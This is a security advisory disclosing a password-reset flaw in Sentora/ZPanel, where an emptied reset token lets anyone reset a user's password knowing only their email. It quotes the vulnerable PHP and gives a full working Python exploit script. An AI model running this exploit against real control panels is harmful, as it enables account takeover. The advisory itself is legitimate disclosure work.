SSD Advisory – Sentora / ZPanel Password Reset Vulnerability

blogs.securiteam.com/index.php/archives/3386

SSD / Maor Schwartz September 24, 2017

Vulnerability Summary
The following advisory describes a password reset found in Sentora / ZPanel.

Sentora is “a free to download and use web hosting control panel developed for Linux, UNIX and BSD based servers or computers. The Sentora software can turn a domestic or commercial server into a fully fledged, easy to use and manage web hosting server”.

ZPanel is a free to download and use Web hosting control panel written to work effortlessly with Microsoft Windows and POSIX (Linux, UNIX and MacOSX) based servers or computers. This solution can turn a home or professional server into a fully fledged, easy to use and manage web hosting server.

Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Vendor response
Hostwinds was informed of the vulnerability, to which they response with “Zpanel is owned by Hostwinds but is no longer in production and has not been supported for some time now. We only keep it active as a legacy control panel and strongly discourage clients from using it. If you would like to continue to use it that is agreeable, but we are not able to offer any kind of support for it other than installing a different control panel over it.”

Sentora was informed of the vulnerability on July 16 2017, while acknowledging the receipt of the vulnerability information, they failed to respond to the technical claims, provide a fix timeline or coordinate an advisory with us.

Vulnerability details
A design flaw in the way Sentora / ZPanel validate reset token allows an attacker to reset the victims password.

The handler of “forgot password” functionality is:

```
[ sentora/inc/init.inc.php ]

    43 if (isset($_POST['inForgotPassword'])) {
    44     runtime_csfr::Protect();
    45     $randomkey = runtime_randomstring::randomHash();
   ...
    53         $zdbh->exec("UPDATE x_accounts SET ac_resethash_tx = '" . $randomkey . "' WHERE ac_id_pk=" .
$result['ac_id_pk'] . "");
   ...
    68         $phpmailer->Body = "Hi " . $result['ac_user_vc'] . ",
    69
    70 You, or somebody pretending to be you, has requested a password reset link to be sent for your web
hosting control panel login.
    71
    72 If you wish to proceed with the password reset on your account, please use the link below to be taken to
the password reset page.
    73
    74 " . $protocol . $domain . "/?resetkey=" . $randomkey . "
    75
    76
    77                 ";
```

It generates reset token *'ac_resethash_tx'* and sends an email with reset link to the user.

Then user returns via this link and fills the reset form:

```
[ sentora/inc/init.inc.php ]

    84 if (isset($_POST['inConfEmail'])) {
   ...
    86     $sql = $zdbh->prepare("SELECT ac_id_pk FROM x_accounts WHERE ac_email_vc = :email AND
ac_resethash_tx = :resetkey AND ac_resethash_tx IS NOT NULL AND ac_deleted_ts IS NULL");
   ...
    93     $crypto->SetPassword($_POST['inNewPass']);
   ...
    99         $sql = $zdbh->prepare("UPDATE x_accounts SET ac_resethash_tx = '', ac_pass_vc = :password,
ac_passsalt_vc = :salt WHERE ac_id_pk = :uid");
```

Reset token is checked and if it matches the password it is set to requested new password and reset token is invalidated.

The problem is that while invalidating the token it is not set to *NULL* as it should be, but instead it is set to empty string.

This means that if user used password reset, anyone can reset his password again with empty token. We only need to know his email adress which is only used to identify the user, no email is sent to that address.

Proof of Concept
Usage:

```
resetagain.py http://target/ email newpassword [username]
```

```
#!/usr/bin/env python3
# pylint: disable=C0103
#
# requires requests and lxml library
# pip3 install requests lxml
#
import sys
from urllib.parse import urljoin
import lxml.html
import requests

try:
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
except:
    pass

if len(sys.argv) < 4:
    print("")
    print("usage:")
    print("%s http://target/ email newpassword [username]" % sys.argv[0])
    print("")
    print("If username is specified then login will be attempted to verify password change.")
    print("")
    sys.exit()

TARGET = sys.argv[1]
USER_EMAIL = sys.argv[2]
USER_NEWPASS = sys.argv[3]
USER_NAME = sys.argv[4] if len(sys.argv) > 4 else ""


def get_form(getpath, formname, params=None):
    resp = session.get(urljoin(TARGET, getpath), params=params)
    tree = lxml.html.fromstring(resp.content)
    form = tree.xpath('//form[@name="%s"]' % formname)
    if not form:
        return None
    form = form[0]
    formdata = {}
    for element in form.xpath('.//input'):
        formdata[element.name] = element.value if element.value else ""
    return (form.action, formdata)


def post_form(formaction, data, params=None):
    return session.post(urljoin(TARGET, formaction), params=params, data=data, allow_redirects=False)


session = requests.Session()
session.verify = False

```

```
52  print("Get reset form")
53  form = get_form("/", "frmZConfirm", {"resetkey": "dummy"})
54
55  print("Reset password")
56  formaction, formdata = form
57  formdata["inConfEmail"] = USER_EMAIL
58  formdata["inNewPass"] = formdata["inputNewPass2"] = USER_NEWPASS
59  resp = post_form(formaction, formdata, {"resetkey": ""})
60
61  if USER_NAME:
62      #session.cookies.clear()
63      print("Test login")
64      print("Get login form")
65      form = get_form("/", "frmZLogin")
66
67      print("Login")
68      formaction, formdata = form
69      formdata["inUsername"] = USER_NAME
70      formdata["inPassword"] = USER_NEWPASS
71      resp = post_form(formaction, formdata)
72      if "invalidlogin" in resp.headers.get("location", ""):
73          print("Failed!")
74          sys.exit()
75      print("OK")
76      session.get(urljoin(TARGET, "/?logout"))
```